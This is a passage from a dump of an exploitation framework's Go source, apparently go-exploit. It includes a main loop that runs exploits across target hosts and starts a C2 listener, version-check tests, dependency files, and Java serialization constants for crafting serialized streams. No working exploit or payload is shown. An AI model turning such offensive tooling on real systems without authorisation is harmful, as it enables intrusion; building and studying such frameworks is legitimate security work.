!parseCommandLine(conf) {\n\t\treturn\n\t}\n\t// Early start the payload flags\n\tif conf.PayloadFlags {\n\t\taddPayloadMetadata(conf)\n\t}\n\n\t// create and init the db if the user provided a database\n\tif !db.InitializeDB(conf.DBName) {\n\t\treturn\n\t}\n\n\t// if the c2 server is meant to catch responses, initialize and start so it can bind\n\tif conf.C2AutoStart {\n\t\tif !startC2Server(conf) {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif conf.ExType == config.FileFormat || conf.ExType == config.Local {\n\t\tif !doScan(sploit, conf) {\n\t\t\treturn\n\t\t}\n\t\tglobalWG.Wait()\n\t} else {\n\t\t// loop over all the provided host / port combos\n\t\tfor index, host := range conf.RhostsNTuple {\n\t\t\t// setup the conf for the downstream exploit\n\t\t\tconf.Rhost = host.Rhost\n\t\t\tconf.Rport = host.Rport\n\t\t\tswitch host.SSL {\n\t\t\tcase config.SSLDisabled:\n\t\t\t\tconf.SSL = false\n\t\t\t\tconf.DetermineSSL = false\n\t\t\tcase config.SSLEnabled:\n\t\t\t\tconf.SSL = true\n\t\t\t\tconf.DetermineSSL = false\n\t\t\tcase config.SSLAutodiscover:\n\t\t\t\tconf.SSL = false\n\t\t\t\tconf.DetermineSSL = true\n\t\t\t}\n\n\t\t\toutput.PrintFrameworkStatus(\"Starting target\", \"index\", index, \"host\", conf.Rhost,\n\t\t\t\t\"port\", conf.Rport, \"ssl\", conf.SSL, \"ssl auto\", conf.DetermineSSL)\n\t\t\tif !doScan(sploit, conf) {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tglobalWG.Wait()\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "framework_test.go",
    "content": "package exploit_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit\"\n)\n\nfunc TestCheckSemVer_Full(t *testing.T) {\n\tif !exploit.CheckSemVer(\"1.0.0\", \"<= 1.0.0\") {\n\t\tt.Error(\"Constraint should have passed\")\n\t}\n\tif exploit.CheckSemVer(\"1.0.0\", \"> 1.0.0\") {\n\t\tt.Error(\"Constraint should not have passed\")\n\t}\n}\n\nfunc TestCheckSemVer_BadVersion(t *testing.T) {\n\tif exploit.CheckSemVer(\"uwu\", \"<= 1.0.0\") {\n\t\tt.Error(\"Version was invalid, should not have passed\")\n\t}\n\tif exploit.CheckSemVer(\"1.0.0 \", \"<= 1.0.0\") {\n\t\tt.Error(\"Version was invalid, should not have passed\")\n\t}\n}\n\nfunc TestCheckSemVer_BadConstraint(t *testing.T) {\n\tif exploit.CheckSemVer(\"1.0.0\", \"<== 1.0.0\") {\n\t\tt.Error(\"Constraint was invalid, should not have passed\")\n\t}\n\tif exploit.CheckSemVer(\"1.0.0\", \"xp\") {\n\t\tt.Error(\"Constraint was invalid, should not have passed\")\n\t}\n}\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/vulncheck-oss/go-exploit\n\ngo 1.26.1\n\nrequire (\n\tgithub.com/Masterminds/semver v1.5.0\n\tgithub.com/antchfx/htmlquery v1.3.6\n\tgithub.com/emiago/sipgo v1.1.2\n\tgithub.com/google/uuid v1.6.0\n\tgithub.com/icholy/digest v1.1.0\n\tgithub.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8\n\tgithub.com/vjeantet/ldapserver v1.0.2-0.20240305064909-a417792e2906\n\tgolang.org/x/crypto v0.49.0\n\tgolang.org/x/net v0.52.0\n\tgolang.org/x/sys v0.42.0\n\tgolang.org/x/text v0.36.0\n\tmodernc.org/sqlite v1.48.2\n)\n\nrequire (\n\tgithub.com/antchfx/xpath v1.3.6 // indirect\n\tgithub.com/dustin/go-humanize v1.0.1 // indirect\n\tgithub.com/gobwas/httphead v0.1.0 // indirect\n\tgithub.com/gobwas/pool v0.2.1 // indirect\n\tgithub.com/gobwas/ws v1.4.0 // indirect\n\tgithub.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect\n\tgithub.com/mattn/go-isatty v0.0.20 // indirect\n\tgithub.com/ncruces/go-strftime v1.0.0 // indirect\n\tgithub.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect\n\tgolang.org/x/sync v0.20.0 // indirect\n\tmodernc.org/libc v1.70.0 // indirect\n\tmodernc.org/mathutil v1.7.1 // indirect\n\tmodernc.org/memory v1.11.0 // indirect\n)\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/Masterminds/semver v1.5.0 h1:H65muMkzWKEuNDnfl9d70GUjFniHKHRbFPGBuZ3QEww=\ngithub.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=\ngithub.com/antchfx/htmlquery v1.3.6 h1:RNHHL7YehO5XdO8IM8CynwLKONwRHWkrghbYhQIk9ag=\ngithub.com/antchfx/htmlquery v1.3.6/go.mod h1:kcVUqancxPygm26X2rceEcagZFFVkLEE7xgLkGSDl/4=\ngithub.com/antchfx/xpath v1.3.6 h1:s0y+ElRRtTQdfHP609qFu0+c6bglDv20pqOViQjjdPI=\ngithub.com/antchfx/xpath v1.3.6/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=\ngithub.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=\ngithub.com/emiago/sipgo v1.1.2 h1:JvLqEvqNSQm2mBX40qZ7O0WC3Ee67Z0UrfmBI7y6Beo=\ngithub.com/emiago/sipgo v1.1.2/go.mod h1:DuwAxBZhKMqIzQFPGZb1MVAGU6Wuxj64oTOhd5dx/FY=\ngithub.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=\ngithub.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=\ngithub.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=\ngithub.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=\ngithub.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs=\ngithub.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc=\ngithub.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=\ngithub.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=\ngithub.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs=\ngithub.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=\ngithub.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=\ngithub.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=\ngithub.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=\ngithub.com/icholy/digest v1.1.0 h1:HfGg9Irj7i+IX1o1QAmPfIBNu/Q5A5Tu3n/MED9k9H4=\ngithub.com/icholy/digest v1.1.0/go.mod h1:QNrsSGQ5v7v9cReDI0+eyjsXGUoRSUZQHeQ5C4XLa0Y=\ngithub.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0=\ngithub.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8 h1:z9RDOBcFcf3f2hSfKuoM3/FmJpt8M+w0fOy4wKneBmc=\ngithub.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0=\ngithub.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=\ngithub.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=\ngithub.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w=\ngithub.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=\ngithub.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=\ngithub.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=\ngithub.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=\ngithub.com/vjeantet/ldapserver v1.0.2-0.20240305064909-a417792e2906 h1:qHFp1iRg6qE8xYel3bQT9x70pyxsdPLbJnM40HG3Oig=\ngithub.com/vjeantet/ldapserver v1.0.2-0.20240305064909-a417792e2906/go.mod h1:YvUqhu5vYhmbcLReMLrm/Tq3S7Yj43kSVFvvol6Lh6k=\ngithub.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=\ngolang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc=\ngolang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=\ngolang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=\ngolang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=\ngolang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=\ngolang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=\ngolang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=\ngolang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=\ngolang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=\ngolang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=\ngolang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=\ngolang.org/x/mod v0.34.0 h1:xIHgNUUnW6sYkcM5Jleh05DvLOtwc6RitGHbDk4akRI=\ngolang.org/x/mod v0.34.0/go.mod h1:ykgH52iCZe79kzLLMhyCUzhMci+nQj+0XkbXpNYtVjY=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=\ngolang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=\ngolang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=\ngolang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=\ngolang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=\ngolang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=\ngolang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=\ngolang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0=\ngolang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=\ngolang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=\ngolang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=\ngolang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=\ngolang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=\ngolang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=\ngolang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=\ngolang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=\ngolang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=\ngolang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=\ngolang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=\ngolang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=\ngolang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=\ngolang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=\ngolang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=\ngolang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=\ngolang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=\ngolang.org/x/text v0.36.0 h1:JfKh3XmcRPqZPKevfXVpI1wXPTqbkE5f7JA92a55Yxg=\ngolang.org/x/text v0.36.0/go.mod h1:NIdBknypM8iqVmPiuco0Dh6P5Jcdk8lJL0CUebqK164=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=\ngolang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=\ngolang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=\ngolang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=\ngolang.org/x/tools v0.43.0 h1:12BdW9CeB3Z+J/I/wj34VMl8X+fEXBxVR90JeMX5E7s=\ngolang.org/x/tools v0.43.0/go.mod h1:uHkMso649BX2cZK6+RpuIPXS3ho2hZo4FVwfoy1vIk0=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngotest.tools/v3 v3.5.1 h1:EENdUnS3pdur5nybKYIh2Vfgc8IUNBjxDPSjtiJcOzU=\ngotest.tools/v3 v3.5.1/go.mod h1:isy3WKz7GK6uNw/sbHzfKBLvlvXwUyV06n6brMxxopU=\nmodernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis=\nmodernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=\nmodernc.org/ccgo/v4 v4.32.0 h1:hjG66bI/kqIPX1b2yT6fr/jt+QedtP2fqojG2VrFuVw=\nmodernc.org/ccgo/v4 v4.32.0/go.mod h1:6F08EBCx5uQc38kMGl+0Nm0oWczoo1c7cgpzEry7Uc0=\nmodernc.org/fileutil v1.4.0 h1:j6ZzNTftVS054gi281TyLjHPp6CPHr2KCxEXjEbD6SM=\nmodernc.org/fileutil v1.4.0/go.mod h1:EqdKFDxiByqxLk8ozOxObDSfcVOv/54xDs/DUHdvCUU=\nmodernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI=\nmodernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito=\nmodernc.org/gc/v3 v3.1.2 h1:ZtDCnhonXSZexk/AYsegNRV1lJGgaNZJuKjJSWKyEqo=\nmodernc.org/gc/v3 v3.1.2/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY=\nmodernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks=\nmodernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI=\nmodernc.org/libc v1.70.0 h1:U58NawXqXbgpZ/dcdS9kMshu08aiA6b7gusEusqzNkw=\nmodernc.org/libc v1.70.0/go.mod h1:OVmxFGP1CI/Z4L3E0Q3Mf1PDE0BucwMkcXjjLntvHJo=\nmodernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU=\nmodernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg=\nmodernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI=\nmodernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw=\nmodernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8=\nmodernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=\nmodernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=\nmodernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=\nmodernc.org/sqlite v1.48.2 h1:5CnW4uP8joZtA0LedVqLbZV5GD7F/0x91AXeSyjoh5c=\nmodernc.org/sqlite v1.48.2/go.mod h1:hWjRO6Tj/5Ik8ieqxQybiEOUXy0NJFNp2tpvVpKlvig=\nmodernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=\nmodernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=\nmodernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=\nmodernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=\n"
  },
  {
    "path": "java/constants.go",
    "content": "package java\n\n// Constants required for the Java serialization protocol, as defined here: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html#a9323\n\nvar (\n\tStreamMagicCode   = [2]byte{0xac, 0xed}\n\tStreamVersionCode = []byte{0x00, 0x05}\n)\n\n/*\n\"Terminal Codes\", these indicate the \"record\" type that is about to be defined in the serialization stream.\nAn example from the spec:\n\n\tnewArray:\n\t  TC_ARRAY classDesc newHandle (int)<size> values[size]\n\nWhere classDesc will also use it's own terminal codes depending on classDesc type:\n\n\tclassDesc:\n\t  newClassDesc\n\t  nullReference\n\t  (ClassDesc)prevObject      // an object required to be of type ClassDesc\n\n\tnewClassDesc:\n\t  TC_CLASSDESC className serialVersionUID newHandle classDescInfo\n\t  TC_PROXYCLASSDESC newHandle proxyClassDescInfo\n*/\nvar (\n\tTCNullCode           byte = 0x70\n\tTCReferenceCode      byte = 0x71\n\tTCClassDescCode      byte = 0x72\n\tTCObjectCode         byte = 0x73\n\tTCStringCode         byte = 0x74\n\tTCArrayCode          byte = 0x75\n\tTCClassCode          byte = 0x76\n\tTCBlockDataCode      byte = 0x77\n\tTCEndBlockDataCode   byte = 0x78\n\tTCResetCode          byte = 0x79\n\tTCBlockDataLongCode  byte = 0x7A\n\tTCExceptionCode      byte = 0x7B\n\tTCLongStringCode     byte = 0x7C\n\tTCProxyClassDescCode byte = 0x7D\n\tTCEnumCode           byte = 0x7E\n)\n\nvar (\n\tSCWriteMethodCode    byte = 0x01\n\tSCBlockDataCode      byte = 0x08\n\tSCSerializableCode   byte = 0x02\n\tSCExternalizableCode byte = 0x04\n\tSCEnumCode           byte = 0x10\n)\n\n/*\nPrimitive type definitions, used to define primitive field types.\nInformation from the spec:\n\n\tprimitiveDesc:\n\t  prim_typecode fieldName\n\n\tprim_typecode:\n\t  `B'       // byte\n\t  `C'       // char\n\t  `D'       // double\n\t  `F'       // float\n\t  `I'       // integer\n\t  `J'       // long\n\t  `S'       // short\n\t  `Z'       // boolean\n*/\nvar (\n\tTypeByteCode    byte = 0x42 // B\n\tTypeCharCode    byte = 0x43 // C\n\tTypeDoubleCode  byte = 0x44 // D\n\tTypeFloatCode   byte = 0x46 // F\n\tTypeIntegerCode byte = 0x49 // I\n\tTypeLongCode    byte = 0x4A // J\n\tTypeShortCode   byte = 0x53 // S\n\tTypeBooleanCode byte = 0x5A // Z\n\t// OBJECT TYPES.\n\tTypeObjectCode byte = 0x4C // L\n\tTypeArrayCode  byte = 0x5B // [\n)\n"
  },
  {
    "path": "java/gadget_test.go",
